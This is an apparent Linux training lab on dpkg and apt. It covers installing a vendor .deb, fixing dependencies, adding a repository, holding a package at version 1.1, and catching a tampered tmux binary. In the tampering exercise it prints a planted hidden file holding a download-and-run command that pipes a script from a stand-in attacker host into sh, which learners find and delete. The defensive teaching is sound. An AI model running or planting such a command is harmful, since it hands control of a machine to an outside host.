dpkg, Packages and Repositories
The vendor of the shop's deployment agent emailed a .deb file, and also runs its own apt repository with newer versions. Version 1.2 has a known bug, so production must stay on 1.1 even when everything else is upgraded. And a security scan says a system binary was modified. You'll handle all of it with dpkg and apt.
- Inspect a .deb with dpkg-deb, install it with dpkg -i and fix dependencies
- Add a repository in /etc/apt/sources.list.d and read apt-cache policy
- Install an exact version and pin it with apt-mark hold
- Check installed files against the package database with dpkg --verify
Under apt: packages, dpkg and repositories
A .deb file is an archive with two parts:
shop-agent_1.0_all.deb
├── control name, version, dependencies, description, scripts
└── data the files to install: /usr/bin/shop-agent, /etc/shop-agent/agent.confdpkg installs a single .deb and records every file in its database (/var/lib/dpkg), but it doesn't download anything and doesn't resolve dependencies. apt sits on top: it reads repositories listed in /etc/apt/sources.list.d/, downloads packages and their dependencies, and hands them to dpkg.
In this lab: a .deb in /opt/debs, the vendor's repository in /opt/shop-repo, and Ubuntu's (offline) repository already configured.
- Press Start lab. You get your own Ubuntu machine on the right, just for you.
- Read each step. Commands with a ▶ Run button can be sent to the terminal in one click, but typing them yourself helps you remember.
- Do the Your task part, then press Check my work. The check looks at the machine and tells you what is right or still missing.
- Stuck? Open the hint. Nothing you do here can break anything real.
Install a .deb file
Install the vendor's shop-agent 1.0 package so it works, including its dependency.
Vendors often ship software as a single .deb file (Google Chrome, Zoom, many monitoring agents, your own company's builds). Before installing anything from outside the official repositories, look inside it: what does it install, and what does it need?
1. Inspect the package
dpkg-deb -I /opt/debs/shop-agent_1.0_all.deb
dpkg-deb -c /opt/debs/shop-agent_1.0_all.deb| Option | Shows |
|---|---|
-I (info) | the control information |
-c (contents) | every file it would install |
new Debian package, version 2.0.
size 716 bytes: control archive=281 bytes.
27 bytes, 1 lines conffiles
190 bytes, 7 lines control
Package: shop-agent
Version: 1.0
Architecture: all
Maintainer: Shop Ops <[email protected]>
Depends: figlet
Description: Shop deployment agent
Prints the shop's deployment banner and status.
drwxr-xr-x root/root 0 2026-11-24 16:29 ./
drwxr-xr-x root/root 0 2026-11-24 16:29 ./etc/
drwxr-xr-x root/root 0 2026-11-24 16:29 ./etc/shop-agent/
-rw-r--r-- root/root 23 2026-11-24 16:29 ./etc/shop-agent/agent.conf
drwxr-xr-x root/root 0 2026-11-24 16:29 ./usr/
drwxr-xr-x root/root 0 2026-11-24 16:29 ./usr/bin/
-rwxr-xr-x root/root 60 2026-11-24 16:29 ./usr/bin/shop-agentDepends: figlet is the line to notice. conffiles lists config files dpkg should protect during upgrades and keep on remove.
2. Install with dpkg
dpkg -i /opt/debs/shop-agent_1.0_all.deb
dpkg -l shop-agent | tail -1Selecting previously unselected package shop-agent.
(Reading database ... 16911 files and directories currently installed.)
Preparing to unpack .../debs/shop-agent_1.0_all.deb ...
Unpacking shop-agent (1.0) ...
dpkg: dependency problems prevent configuration of shop-agent:
shop-agent depends on figlet; however:
Package figlet is not installed.
dpkg: error processing package shop-agent (--install):
dependency problems - leaving unconfigured
Errors were encountered while processing:
shop-agent
iU shop-agent 1.0 all Shop deployment agentdpkg unpacked the files but refused to configure the package, because figlet is missing and dpkg never downloads anything. State iU = wanted installed, but only Unpacked. apt will complain about this "broken" state until it's fixed.
3. Let apt fix it
apt-get install -f -y
dpkg -l shop-agent figlet | tail -2
shop-agent ok-f (--fix-broken) tells apt to install whatever is missing to complete half-installed packages.
Correcting dependencies... Done
The following additional packages will be installed:
figlet
The following NEW packages will be installed:
figlet
Unpacking figlet (2.2.5-3) ...
Setting up figlet (2.2.5-3) ...
Setting up shop-agent (1.0) ...
ii figlet 2.2.5-3 amd64 Make large character ASCII banners out of ordinary text
ii shop-agent 1.0 all Shop deployment agent
_ _
__| |_ ___ _ __ ___| |__
(_-< ' \/ _ \ '_ \ / _ \ / /
/__/_||_\___/ .__/ \___/_\_\
|_|
shop-agent 1.0(Shortened.) apt installed figlet, then finished configuring shop-agent. Both are ii now.
The one-step way: apt install ./shop-agent_1.0_all.deb (note the ./: it tells apt this is a file, not a package name). apt then resolves the dependencies itself. Use dpkg -i when you need its lower-level control.
Install /opt/debs/shop-agent_1.0_all.deb so that it's fully installed (state ii) and its dependency is installed too.
Expected result: dpkg -l shop-agent shows ii and version 1.0, and shop-agent ok prints a banner.
Hint: the commands, explained
dpkg -i /opt/debs/shop-agent_1.0_all.deb
apt-get install -f -yor simply apt install -y /opt/debs/shop-agent_1.0_all.deb
What each part does
dpkg -i FILE.deb: install one package file. dpkg doesn't download anything, so it stops with a "dependency problems" error because figlet is missing.apt-get install -f -y: fix broken installs: apt downloads the missing dependency (figlet) and finishes configuring shop-agent.-yanswers yes automatically.
Add a repository
Add the vendor's repository so apt can see newer shop-agent versions.
A repository is a directory (usually on a web server) with packages plus an index file listing them. apt knows about a repository from one line in a file in /etc/apt/sources.list.d/. Docker, Kubernetes, PostgreSQL, Grafana, HashiCorp and others all publish their own repositories, so installing their latest versions always starts with adding one.
1. Which repositories are configured?
ls /etc/apt/sources.list.d/
cat /etc/apt/sources.list.d/*.listdevopsshack-offline.list
deb [trusted=yes] file:/opt/shack/apt-repo ./| Part | Meaning |
|---|---|
deb | a repository of binary packages (deb-src = source code) |
[trusted=yes] | options in brackets; this one skips signature checks (only acceptable for local test repos) |
file:/opt/shack/apt-repo | where it is; normally https://... |
./ | the distribution path; real repos say e.g. noble main (release and component) |
2. Add the vendor's repository
echo 'deb [trusted=yes] file:/opt/shop-repo ./' > /etc/apt/sources.list.d/shop.list
apt updateGet:2 file:/opt/shop-repo ./ InRelease
Get:4 file:/opt/shop-repo ./ Release
Get:7 file:/opt/shop-repo ./ Packages [364 B]
Reading package lists...
Building dependency tree...
Reading state information...
5 packages can be upgraded. Run 'apt list --upgradable' to see them.(Shortened.) apt fetched the new repository's index. And it found updates waiting.
3. What versions are available now?
apt-cache policy shop-agent
apt list --upgradableshop-agent:
Installed: 1.0
Candidate: 1.2
Version table:
1.2 500
500 file:/opt/shop-repo ./ Packages
1.1 500
500 file:/opt/shop-repo ./ Packages
*** 1.0 100
100 /var/lib/dpkg/status
Listing...
libncursesw6/unknown 6.4+20240113-1ubuntu2.2 amd64 [upgradable from: 6.4+20240113-1ubuntu2]
libtinfo6/unknown 6.4+20240113-1ubuntu2.2 amd64 [upgradable from: 6.4+20240113-1ubuntu2]
ncurses-base/unknown 6.4+20240113-1ubuntu2.2 all [upgradable from: 6.4+20240113-1ubuntu2]
ncurses-bin/unknown 6.4+20240113-1ubuntu2.2 amd64 [upgradable from: 6.4+20240113-1ubuntu2]
shop-agent/unknown 1.2 all [upgradable from: 1.0]***marks the installed version;/var/lib/dpkg/statusmeans "it's installed, from wherever".- The Candidate is now 1.2, the newest version in any repository.
- The numbers (500, 100) are priorities: apt prefers the higher one, and among equals, the newer version.
- A plain
apt upgradewould move shop-agent to 1.2, which has the bug. Next step: prevent that.
Real third-party repositories are signed. The vendor's instructions have you download their key to /etc/apt/keyrings/ and reference it with [signed-by=/etc/apt/keyrings/vendor.gpg] instead of trusted=yes. Never use trusted=yes for a repository on the internet: anyone who can tamper with the download could install anything on your server.
Add the repository at file:/opt/shop-repo ./ in a new file /etc/apt/sources.list.d/shop.list (with [trusted=yes]), and refresh the index.
Expected result: apt-cache policy shop-agent shows 1.1 and 1.2 available, with Candidate 1.2.
Hint: the commands, explained
echo 'deb [trusted=yes] file:/opt/shop-repo ./' > /etc/apt/sources.list.d/shop.list
apt updateWhat each part does
echo '...' > /etc/apt/sources.list.d/shop.list: create a file containing one repository line.debbinary packages ·[trusted=yes]skip signature checks (local test repo only) ·file:/opt/shop-repowhere it is ·./its path.apt update: download the index of every configured repository. You'll see aGet:line forfile:/opt/shop-repo.
Exact version, held
Upgrade to shop-agent 1.1, and stop apt from moving it to the buggy 1.2.
In production you often need a specific version: the one you tested, not whatever is newest. apt can install an exact version with PKG=VERSION, and hold a package so upgrades leave it alone until you decide otherwise.
1. Install an exact version
apt install -y shop-agent=1.1=1.1 = this exact version. (Going to an older version than the installed one also needs --allow-downgrades.)
The following packages will be upgraded:
shop-agent
1 upgraded, 0 newly installed, 0 to remove and 4 not upgraded.
Get:1 file:/opt/shop-repo ./ shop-agent 1.1 [716 B]
Preparing to unpack ..././shop-agent_1.1_all.deb ...
Unpacking shop-agent (1.1) over (1.0) ...
Setting up shop-agent (1.1) ...2. Hold it
apt-mark hold shop-agent
apt-mark showholdshop-agent set on hold.
shop-agent3. Upgrade everything else
apt upgrade -y
dpkg -l shop-agent | tail -1Calculating upgrade...
The following packages have been kept back:
shop-agent
The following packages will be upgraded:
libncursesw6 libtinfo6 ncurses-base ncurses-bin
4 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
hi shop-agent 1.1 all Shop deployment agent(Shortened.) The four library updates were installed; shop-agent was kept back. Its state is now hi: hold, installed. When the vendor fixes the bug: apt-mark unhold shop-agent and upgrade.
apt upgrade never removes packages. apt full-upgrade (formerly dist-upgrade) may remove or add packages when dependencies change, which is needed for some kernel and major updates. Read its plan before confirming. Ubuntu servers also run unattended-upgrades, which installs security updates automatically every day; holds apply to it too.
- Upgrade shop-agent to exactly version 1.1.
- Hold it so
apt upgradewon't move it to 1.2.
Expected result: dpkg -l shop-agent shows hi and 1.1, and apt-mark showhold lists shop-agent.
Hint: the commands, explained
apt install -y shop-agent=1.1
apt-mark hold shop-agentWhat each part does
apt install -y shop-agent=1.1: install this exact version, not the newest.apt-mark hold shop-agent: freeze it.apt upgradewill now list it as "kept back" instead of upgrading it to 1.2.
Catch a tampered file
Find the package whose files were modified, restore it, and remove the planted file.
dpkg stores a checksum of every file each package installed. dpkg --verify compares the files on disk with those checksums, which reveals files that were changed after installation: a careless edit, disk corruption, or an attacker replacing a binary with a backdoored one.
1. Verify everything
dpkg --verifyNo output means everything matches. Each line is a file that doesn't.
missing c /etc/legal
missing c /etc/update-motd.d/00-header
missing c /etc/update-motd.d/10-help-text
missing c /etc/update-motd.d/50-motd-news
??5?????? /usr/bin/tmux
??5?????? /usr/share/doc/tmux/example_tmux.conf| Code | Meaning |
|---|---|
5 in the 3rd position | the file's MD5 checksum differs: its contents were changed |
? | not checked |
c | it's a config file (conffile) |
missing | the file was deleted |
The missing c lines are config files the lab image removed on purpose: harmless. But /usr/bin/tmux was modified. A changed program in /usr/bin is a serious finding.
2. Look for planted files
Attackers often add files too. dpkg can tell you whether a file belongs to any package:
ls -la /usr/share/tmux/
dpkg -S /usr/share/tmux/.hook
cat /usr/share/tmux/.hookdpkg-query: no path found matching pattern /usr/share/tmux/.hook
curl -s http://evil.example/x.sh | sh(After the ls output.) A hidden file no package owns, containing a download-and-run command. Remove it.
3. Restore the package
apt install --reinstall -y tmux
dpkg --verify tmux && echo "tmux: clean"--reinstall writes every file of the package again from the original .deb.
Unpacking tmux (3.4-1ubuntu0.2) over (3.4-1ubuntu0.2) ...
Setting up tmux (3.4-1ubuntu0.2) ...
tmux: cleanOn a server that was really compromised, reinstalling one package isn't enough: the attacker may have changed things dpkg can't see. The safe response is to investigate, then rebuild the server from a clean image. dpkg --verify (and tools like debsums and AIDE) are how you notice.
- Restore tmux so its files match the package again.
- Delete the planted file
/usr/share/tmux/.hook.
Expected result: dpkg --verify tmux prints nothing, and the .hook file is gone.
Hint: the commands, explained
apt install --reinstall -y tmux
rm /usr/share/tmux/.hookWhat each part does
apt install --reinstall -y tmux: write every file of the tmux package again from the original.deb, undoing the modification.rm /usr/share/tmux/.hook: delete the planted file. Reinstalling doesn't remove it, because it never belonged to the package.- Afterwards,
dpkg --verify tmuxprints nothing: every file matches its checksum.
Brilliant work!
You installed a vendor package and fixed its dependency, added a repository, pinned production to a tested version while upgrading everything else, and caught a tampered binary.
Takeaways:
dpkg-deb -I/-c file.debinspects;dpkg -iinstalls one file without resolving dependencies;apt-get install -ffixes them. Orapt install ./file.deb.- Repositories are lines in
/etc/apt/sources.list.d/*.list(or.sources). Real ones are signed:signed-by=/etc/apt/keyrings/.... apt-cache policy PKGshows installed, candidate, all versions and priorities.apt install PKG=VERSIONfor exact versions;apt-mark hold/unhold/showholdto pin.apt upgradenever removes;apt full-upgrademay. Read the plan.dpkg --verifyfinds modified package files;dpkg -Sfinds files no package owns;apt install --reinstallrestores.
You've finished Software & Packages. Next module: Services & Boot.
Install a vendor's .deb file and fix its missing dependency, add a third-party repository, install an exact version and hold it there during upgrades, and use dpkg --verify to catch and repair a tampered system file.
The vendor of the shop's deployment agent emailed a .deb file, and also runs its own apt repository with newer versions. Version 1.2 has a known bug, so production must stay on 1.1 even when everything else is upgraded. And a security scan says a system binary was modified. You'll handle all of it with dpkg and apt.